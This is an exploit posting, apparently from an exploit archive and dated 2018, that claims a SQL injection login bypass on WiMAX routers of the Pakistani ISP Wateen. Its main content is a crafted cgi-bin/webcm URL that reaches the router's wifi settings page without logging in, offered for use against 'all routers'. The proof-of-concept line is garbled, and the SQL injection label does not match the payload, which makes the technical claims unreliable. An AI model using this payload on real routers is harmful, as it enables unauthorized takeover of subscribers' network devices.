Wateen Isp wimax router login bypass

 ===================   
  Salam wa Alaikum
 ===================

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++    
             
________                .__         .__  __          
\_____  \___  _________ |  |   ____ |__|/  |_  ______
  _(__  <\  \/  /\____ \|  |  /  _ \|  \   __\/  ___/
 /       \>    < |  |_> >  |_(  <_> )  ||  |  \___ \ 
/______  /__/\_ \|   __/|____/\____/|__||__| /____  >
       \/      \/|__|                             \/ 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

----------------------------------------
::Wateen Isp wimax router login bypass::
----------------------------------------

Author: 3xploits

Vendor=Pakistan largest internet provider wateen router

Tested on=Against all router

Bug=vulnerable to sql injection login bypass

---------
Exploit
---------
/cgi-bin/webcm?getpage=%2Fusr%2Fwww_safe%2Fhtml%2Fdefs%2Fstyle5%2Fmenus%2Fmenu.html&var:style=style5&var:main=menu&var:menu=wifi&var:menutitle=Wifi&var:pagename=wifi_basic&var:pagetitle=Wifi_Basic&var:navdisable=true


----
Poc
----
http://192.168.15.1/sql injection

-----
Video
-----
http://www.youtube.com/watch?v=n8qgwiDfymw


by 3xploits.
( bug researcher)



#  0day.today [2018-04-09]  #